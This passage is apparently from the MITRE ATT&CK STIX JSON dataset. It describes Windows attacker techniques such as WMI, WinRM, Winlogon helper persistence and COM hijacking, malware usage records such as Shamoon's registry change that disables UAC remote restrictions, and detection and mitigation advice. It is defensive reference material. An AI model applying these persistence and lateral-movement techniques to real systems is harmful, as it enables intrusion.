                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "source_name": "TechNet RPC"
                },
                {
                    "url": "https://technet.microsoft.com/bb490717.aspx",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "source_name": "Technet Net Use"
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process use of network",
                "Authentication logs",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.",
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_system_requirements": [
                "File and printer sharing over SMB enabled.\nHost/network firewalls not blocking SMB ports between source and destination.\nUse of domain account in administrator group on remote system or default system admin account."
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            "x_mitre_platforms": [
                "Windows"
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            "kill_chain_phases": [
                {
                    "phase_name": "lateral-movement",
                    "kill_chain_name": "mitre-attack"
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            "modified": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Management Instrumentation",
            "description": "Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)",
            "external_references": [
                {
                    "external_id": "T1047",
                    "url": "https://attack.mitre.org/techniques/T1047",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx",
                    "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.",
                    "source_name": "MSDN WMI"
                },
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
                    "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
                    "source_name": "FireEye WMI 2015"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "source_name": "Wikipedia SMB"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "source_name": "TechNet RPC"
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Authentication logs",
                "Netflow/Enclave netflow",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of \"wmic\" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
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            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
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            "x_mitre_system_requirements": [
                "WMI service, winmgmt, running.\nHost/network firewalls allowing SMB and WMI ports from source to destination.\nSMB authentication."
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                {
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            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Management Instrumentation Event Subscription",
            "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts. (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)",
            "external_references": [
                {
                    "external_id": "T1084",
                    "url": "https://attack.mitre.org/techniques/T1084",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.secureworks.com/blog/wmi-persistence",
                    "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
                    "source_name": "Dell WMI Persistence"
                },
                {
                    "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf",
                    "description": "Kazanciyan, R. & Hastings, M. (2014). Defcon 22 Presentation. Investigating PowerShell Attacks &#91;slides&#93;. Retrieved November 3, 2014.",
                    "source_name": "Kazanciyan 2014"
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                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf",
                    "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.",
                    "source_name": "Mandiant M-Trends 2015"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "WMI Objects"
            ],
            "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns)",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:05.140Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
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            "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Windows Remote Management",
            "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the <code>winrm</code> command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014)",
            "external_references": [
                {
                    "external_id": "T1028",
                    "url": "https://attack.mitre.org/techniques/T1028",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/aa384426",
                    "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.",
                    "source_name": "Microsoft WinRM"
                },
                {
                    "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2",
                    "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell&#91;slides&#93;. Retrieved November 12, 2014.",
                    "source_name": "Jacobsen 2014"
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            "object_marking_refs": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File monitoring",
                "Authentication logs",
                "Netflow/Enclave netflow",
                "Process monitoring",
                "Process command-line parameters"
            ],
            "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_remote_support": true,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "WinRM listener turned on and configured on remote system"
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
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                {
                    "phase_name": "lateral-movement",
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            "modified": "2018-10-17T00:14:20.652Z",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
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            "name": "Winlogon Helper DLL",
            "description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> and <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.",
            "external_references": [
                {
                    "external_id": "T1004",
                    "url": "https://attack.mitre.org/techniques/T1004",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-579",
                    "url": "https://capec.mitre.org/data/definitions/579.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                },
                {
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "source_name": "Cylance Reg Persistence Sept 2013"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
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            "x_mitre_data_sources": [
                "Windows Registry",
                "File monitoring",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns)  New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:20.148Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
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            "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 data with a custom technique using MD5, base64-encoding, and RC4.",
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                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
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                    "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
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            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2, download additional files, and conduct other functions.",
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            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's computer name and drive serial numbers to send to a C2 server.",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can query shared drives on the local system.",
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                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
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            ],
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            "description": "[ComRAT](https://attack.mitre.org/software/S0126) samples have been seen which hijack COM objects for persistence by replacing the path to shell32.dll in registry location <code>HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32</code>.",
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                    "description": "Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.",
                    "source_name": "NorthSec 2015 GData Uroburos Tools"
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            ],
            "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565",
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                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
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                {
                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/",
                    "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
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                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015"
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            ],
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            "description": "[FruitFly](https://attack.mitre.org/software/S0277) will delete files on the system.",
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                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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                    "source_name": "ESET Gazer Aug 2017"
                },
                {
                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "source_name": "Securelist WhiteBear Aug 2017"
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                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
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            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on running processes and environment variables from the victim.",
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
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            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) lists the directories for Desktop, program files, and the user\u2019s recently accessed files.",
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
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            ],
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                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
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            "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to subvert controls and possibly conceal command execution by not directly invoking [cmd](https://attack.mitre.org/software/S0106).",
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                    "source_name": "VectorSec ForFiles Aug 2017"
                },
                {
                    "url": "https://twitter.com/Evi1cg/status/935027922397573120",
                    "description": "Evi1cg. (2017, November 26). block cmd.exe ? try this :. Retrieved January 22, 2018.",
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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            ],
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                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "source_name": "ESET Gazer Aug 2017"
                },
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                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
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                    "source_name": "ESET Gazer Aug 2017"
                },
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                    "url": "https://securelist.com/introducing-whitebear/81638/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
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                    "url": "https://securelist.com/introducing-whitebear/81638/",
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
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                    "description": "Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017.",
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                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0",
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        },
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pasam](https://attack.mitre.org/software/S0208) establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.",
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            "external_references": [
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                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99",
                    "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.",
                    "source_name": "Symantec Pasam May 2012"
                }
            ],
            "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352",
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            "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can delete files.",
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            ],
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                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "relationship_type": "uses",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "[Pisloader](https://attack.mitre.org/software/S0124) establishes persistence via a Registry Run key.",
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                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "source_name": "Palo Alto DNS Requests"
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            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
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            "x_mitre_attack_spec_version": "2.1.0",
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            "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to collect victim system information, including the system name and OS version.",
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                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.",
                    "source_name": "Palo Alto DNS Requests"
                }
            ],
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) can use the Windows API function CreateProcess to execute another process.",
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            ],
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                {
                    "url": "http://labs.lastline.com/an-analysis-of-plugx",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "source_name": "Lastline PlugX Analysis"
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) can query for information contained within the Windows Registry.",
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                {
                    "url": "http://labs.lastline.com/an-analysis-of-plugx",
                    "description": "Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015.",
                    "source_name": "Lastline PlugX Analysis"
                }
            ],
            "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
            "relationship_type": "uses",
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            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0"
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            "description": "[SeaDuke](https://attack.mitre.org/software/S0053) C2 traffic is base64-encoded.",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/",
                    "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.",
                    "source_name": "Unit 42 SeaDuke 2015"
                }
            ],
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            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z",
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            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the target's IP address and local network segment.",
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                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "Once [Shamoon](https://attack.mitre.org/software/S0140) has access to a network share, it enables the RemoteRegistry service on the target system. It will then connect to the system with RegConnectRegistryW and modify the Registry to disable UAC remote restrictions by setting <code>SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> to 1.",
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                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "source_name": "FireEye Shamoon Nov 2016"
                },
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                }
            ],
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            "description": "[Shamoon](https://attack.mitre.org/software/S0140) creates a new service named \u201cntssrv\u201d to execute the payload.",
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                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
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                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
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            "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) was distributed through a compromised update to a Tor client with a coin miner payload.",
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                    "description": "Windows Defender Research. (2018, March 7). Behavior monitoring combined with machine learning spoils a massive Dofoil coin mining campaign. Retrieved March 20, 2018.",
                    "source_name": "Microsoft Dofoil 2018"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.",
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                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
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            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
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                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
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                    "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "url": "https://attack.mitre.org/techniques/T1109",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Connection Proxy Mitigation",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/techniques/T1090",
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                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)",
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                    "url": "https://attack.mitre.org/techniques/T1196",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx",
                    "description": "Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.",
                    "source_name": "Microsoft UAC"
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            "name": "Create Account Mitigation",
            "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
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                    "external_id": "T1136",
                    "url": "https://attack.mitre.org/techniques/T1136",
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            "name": "Credential Dumping Mitigation",
